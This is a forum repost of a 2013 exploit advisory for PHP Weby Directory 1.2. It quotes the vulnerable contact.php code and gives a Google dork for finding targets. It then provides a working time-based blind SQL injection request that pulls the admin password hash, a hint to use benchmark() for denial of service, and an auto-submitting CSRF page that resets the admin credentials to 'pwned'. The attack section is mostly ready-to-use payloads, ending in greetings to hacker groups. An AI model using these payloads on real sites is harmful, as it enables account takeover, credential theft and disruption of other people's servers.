Praetorian503 Posted January 26, 2013 Report Posted January 26, 2013 PHP Weby Directory Software version 1.2 suffers from cross site request forgery and remote blind SQL injection vulnerabilities.===========================================Vulnerable Software: PHP Weby directory software version 1.2Vendor: http://phpweby.comDownload: ht*p://phpweby.com/down/phpwebydirectory.zipVuln: Blind SQL injection && CSRFDork: intext:Powered by PHP weby software===========================================About Software:Php Weby directory script is a powerful and easy-to-use FREE link managementscript with numerous options for running a directory, catalog of sites or a simplelink exchange system. Create a general directory and have users submit their favorite sites and charge if you want for the review.Or create regional directory for your town or state and sell advertising,or niche directory about a topic you love or know.Features include an integrated payment system with PayPal,link validation, SEO urls, unlimited categories and subcategories,reciprocal linking, link editor,template driven system and many more. Check them all here.Php weby free link directory script is licensed under GNU GPL license.Link to http://phpweby.com can NOT be removed. Contact us at the forums for more information. .===========================================Tested On: Debian squeeze 6.0.6Server version: Apache/2.2.16 (Debian)Apache traffic server 3.2.0MYSQL: 5.1.66-0+squeeze1PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug 6 2012 20:08:59)Copyright (c) 1997-2009 The PHP GroupZend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologieswith Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH===========================================Here is one of Vulnerable Code example://contact.php==============SNIP BEGINS===============if($capt){unset($capt);if($_POST['fullname']=='' || $_POST['subject']=='' || $_POST['message']=='' || $_POST['mail']=='')$smarty->assign('error','Please complete the form!');else{$c=$db->Execute("INSERT INTO contacts(fullname,subject,message,mail,ip,timehour) values('" . $_POST['fullname'] . "','" . $_POST['subject'] . "','" . $_POST['message'] . "','" . $_POST['mail'] . "','" . $_SERVER['REMOTE_ADDR']."','".date('r'). "')");if($c===false)$smarty->assign('error','Unknown error occured.');else$smarty->assign('added',1);===========SNIP ENDS HERE===============================Exploitation ===============METHOD: $_POSTURL: http://site.tld/contact.phpHeaders:Host: hacker1.ownUser-Agent: UiUiUiUiUi Ping And UiUiUiUiUi And Pong:((Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 245REQ BODY:fullname=Ping And Pong Is Interesting Game xD%5C&mail=sssssssssssssssssss&subject=,(select case((select mid(`pass`,1,1) from admin_area limit 1 offset 0)) when 0x32 then sleep(10) else 0 end) ,1,2,3,4)-- and 5!=('Advertising+Inquiry&message=TEST===================EOF===================Here is how it looks:(I prefer timebased way because simply extracting and then inserting hash to table is not usefull anymore.Only admin can see it from admin panel).IMAGE 1: http://s017.radikal.ru/i420/1301/c6/11128cbea352.pngCOPY IMAGE: http://oi47.tinypic.com/2ptp79g.jpgAlso this type of sql injections(INSERT/UPDATE) is usefull to create Denial of Service conditions against target site/server.If so simply benchmark() is your best friend.Second Vulnerability is: CSRFSimple exploit to change admin username/password/email:Login/password will be change to pwned and email to : admin@toattacker.tld<body onload="javascript:document.forms[0].submit()"><form action="http://hacker1.own/phpweb/admin/options.php?r=admin" method="post"><input type="text" name="ADMIN_NAME" value="admin"/><input type="text" name="ADMIN_MAIL" value="admin@toattacker.tld"/><input type="text" name="usr" value="pwned"/><input type="password" name="pass1" value="pwned"/><input type="password" name="pass2" value="pwned"/><input type="hidden" name="oldusr" value="admin"/><input type="submit" value="Save" class="ss"/></form>==================================== KUDOSSSSSSS====================================packetstormsecurity.orgpacketstormsecurity.compacketstormsecurity.netsecurityfocus.comcxsecurity.comsecurity.nnov.rusecurtiyvulns.comsecuritylab.rusecunia.comsecurityhome.euexploitsdownload.comosvdb.comwebsecurity.com.ua1337day.comitsecuritysolutions.orgto all Aa Team + to all Azerbaijan Black HatZ+ *Especially to my bro CAMOUFL4G3 *To All Turkish Hackers.Also special thanks to: ottoman38 & HERO_AZE====================================/AkaStepSource: PacketStorm Quote
